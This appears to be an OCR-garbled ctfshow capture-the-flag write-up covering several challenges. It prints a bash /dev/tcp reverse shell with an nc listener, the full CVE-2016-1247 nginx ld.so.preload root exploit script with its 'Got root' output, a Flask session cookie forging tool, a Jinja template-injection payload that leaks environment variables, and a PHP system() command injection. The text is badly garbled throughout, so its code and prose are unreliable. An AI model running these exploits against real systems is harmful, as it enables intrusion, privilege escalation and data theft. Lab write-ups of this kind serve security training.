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payload

print(payload)

s requests.session()
datal {

(i + 30) payload,

)

30

rl s.post(urll, data=datal)
data2 {
i+ 30,
i+ 30
)i
r2 = s.post(url2, data=data2)
t r2.text
real re.findall(
flag real
print(flag)
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Last build: 2 months ago Options * Al
- = length: 98
Recipe S I Input lines: 1 + O
63746673686F777B66346462306661642D366133342D343233662D613036312D6462306161633162663830647D
From Hex
Delimiter
Auto

start: 8 time: @ms
Output s:dzdﬁ ;51?:: :E B rD

length: 45 lines: 1
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hint1: whoami && Is -I /
hint2: R 3E, 184, BERESH/A T LM

BEEflag AL R AR 2
cat /etc/crontab & I & FHE 5%

nginx VEFEnginxi A<, T] REFEAEIRAURIACVE-2016-1247
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Debian: Nginx1.6.2-5+deb8u3

Ubuntu 16.04: Nginx1.10.0-Oubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-Oubuntu1.1

Zik X #shell®F H N T £

nc -lvnp 8888

root@stulinux:/home/azureuser#t nc -lvnp B888

Listening on @.8.8.8 B888

bash -1 /dev/tcp/xx.xx.xx.xx/8888 0>&1

WMRIREIBLTAERT B = B azure | B X BB Z £ A KME, TRBPCA 2] R #Hishell

L 4£ENginx.sh
[ﬂ emaji.png 2020-03-26 09:22:55 534.56 Kb
@  index.php 2020-03-26 09:22:55 233 b

[8] nginx.sh 2021-10-29 14:00:43 7.31 Kb
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function cleanexit {

-e

rm -f $PRIVESCSRC

rm -f $PRIVESCLIB

rm -f $ERRORLOG

touch $ERRORLOG

if [ -f /etc/ld.so.preload ]; then
-n /etc/1ld.so.preload

fi

ctrl c() {

e




cleanexit ©

$# -1t 1 ], then

=&

-e “ps aux grep nginx awk -F

grep
3

-e
id grep -q www-data
if [ $? -ne @ ]; then
-e
3

=& $ERRORLOG




ctrl_c INT

e $PRIVESCSRC
cat <<_solibeof_ >$PRIVESCSRC

uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old geteuid = dlsym(RTLD_NEXT,
if ( old_geteuid() 0 ) {
chown ("$BACKDOORPATH", @, 0);
chmod ("$BACKDOORPATH", ©4777);
unlink( )

old_geteuid();
}

solibeof
/bin/bash -c $PRIVESCLIB $PRIVESCSRC
if [ $? -ne @ ]; then

-e $PRIVESCSRC
cleanexit 2;

$BACKDOORSH $BACKDOORPATH
=@ “1s -1 $BACKDOORPATH®

[ -f /etc/ld.so.preload ]; then
-e
p

-f $ERRORLOG In -s /etc/1ld.so.preload $ERRORLOG
[ $? -ne @ ]; then

-e $ERRORLOG
cleanexit 3

=E
s -1 $ERRORLOG"

curl http://localhost/ >/dev/null 2>/dev/null




if [ -f /etc/ld.so.preload ]; then
$PRIVESCLIB /etc/1ld.so.preload
rm -f $ERRORLOG

]

$PRIVESCLIB /etc/1ld.so.preload

-e

.so.preload”

=& $PRIVESCLIB

-e “cat /etc/ld.so.preload’
chmod 755 /etc/ld.so.preload

-e $SUIDBIN
sudo 2>/dev/null >/dev/null

1s -1 $BACKDOORPATH
1s -1 $BACKDOORPATH grep rws grep -q root
if [ $? -eq @ ]; then
-e “1s -1 $BACKDOORPATH®

cleanexit 2
fi

rm -f $ERRORLOG

$ERRORLOG

$BACKDOORPATH -p -c $PRIVESCLIB

$BACKDOORPATH -p -c “pidof -s nginx’

=@ $BACKDOORPATH
$BACKDOORPATH -p -i

BB R I 3AT

chmod +x nginx.sh
./nginx.sh
./nginx.sh /var/log/nginx/error.log




[+] Escalating privileg il ! i do SUID binary

-TWS ¢ 1 poot root 1821112 O 29 14:14 Stmp/ngin

tmp,/nginx
The server is (N}jin ! ;) Got root via Nginx!
[+] Spawning the ell /tmp/ngi =h now!
cannot set terminal proce group (19): Inappropriate ioctl for c
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_author__

import sys

import zlib

from itsdangerous import base64 decode
import ast

if sys.version_info[©
raise Exception

elif sys.version_info[© 3 and sys.version_info[1
from abc import ABCMeta, abstractmethod
else

from abc import ABC, abstractmethod




from flask.sessions import SecureCookieSessionInterface
class MockApp(
def init (self, secret_key):

self.secret_key secret_key

if sys.version_info[9] 3 and sys.version_info[1] 4:
class FSCM(metaclass=ABCMeta):

def encode(secret_key, session_cookie_structure):

try:
app = MockApp(secret_key)

session_cookie_structure (ast.literal_eval(session_cookie_structure))

si SecureCookieSessionInterface()
s si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return . D)

raise e

def decode(session_cookie_value, secret_key=None):

try:
if(secret_key==None):
compressed False
payload session_cookie_value

if payload.startswith(
compressed True
payload payload[1:]

data = payload.split( )[o]

data = base64 decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
S si.get signing serializer(app)

return s.loads(session_cookie value)
except Exception as e:
return
raise e
else:
class FSCM(ABC):




app = MockApp(secret_key)

session_cookie structure (ast.literal eval(session_cookie_ structure))
si SecureCookieSessionInterface()

s si.get signing serializer(app)

return s.dumps(session_cookie_ structure)
except Exception as e:
return . )

raise e

def decode(session_cookie_value, secret_key=None):

try:
if(secret_key==None):
compressed False

payload session_cookie_value

if payload.startswith(
compressed True

payload payload[1:]

data payload.split( )[0]

data base64_decode(data)
if compressed:
data zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si SecureCookieSessionInterface()
S si.get signing serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return . )

raise e

parser argparse.ArgumentParser(

description
epilog

subparsers parser.add_subparsers(

parser_encode subparsers.add_parser(
parser_encode.add_argument( 5 , metavar
, required=True)




parser_encode.

parser_decode

parser_decode.

parser_decode.

args parser.

add_argument( , metavar ;
, required=True)

subparsers.add_parser(
add_argument( , , metavar
, required=False)
add_argument ( , metavar B

, required=True)

parse_args()

if(args.subcommand ):

if(args.secret_key is not None and args.cookie_structure is not None):

print (FSCM.encode(args.secret_key, args.cookie_ structure))

elif(args.subcommand ):

if(args.secret_key is not None and args.cookie value is not None):

print(FSCM.decode(args.cookie_value,args.secret_key))

elif(args.

cookie_value is not None):

print(FSCM.decode(args.cookie_value))

% :python flask_session_manager.py decode -c -s

% :python flask_session_manager.py encode -s -t
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Rl EEE AF MEREF x =2 Lighthouse AdBlock  HackBar
C s S X U RETHEAEEI Cookie
p=t E Domain Pat
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Cookie Value ETEREEAT URL
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session eyl 1c2VybmMZS16ImFkbWIulnG. YXwFSA,_h83H_4ab77YiNPxelwIAuWBgY4
UM_distinctid 179659a8a22974-035aa50e8c9ece-52301645-1fa400-17965928a23937
F session
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payload:

{% for c in [].__class_ . base . subclasses_ ()

s [ e (

{% for c in [].__class_ . base_ . subclasses_ ()

s | e (

R, EEHPNREEET!

HOSTNAME=b1f46f1d0c60 HOME=/home/ctf PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/ FLAG=ctfshow{5a41599f-1109-4d45-b1e7-a01b46784f09}
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<?php
highlight_file(_ FILE_ );
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CTFSHOW LOGIN

$$5"):highlight file( FILE__

S REREE R

payload:
?S=a;system('cat ../../flag.txt");

AR
?S=a=system('cat ../../flag.txt"');
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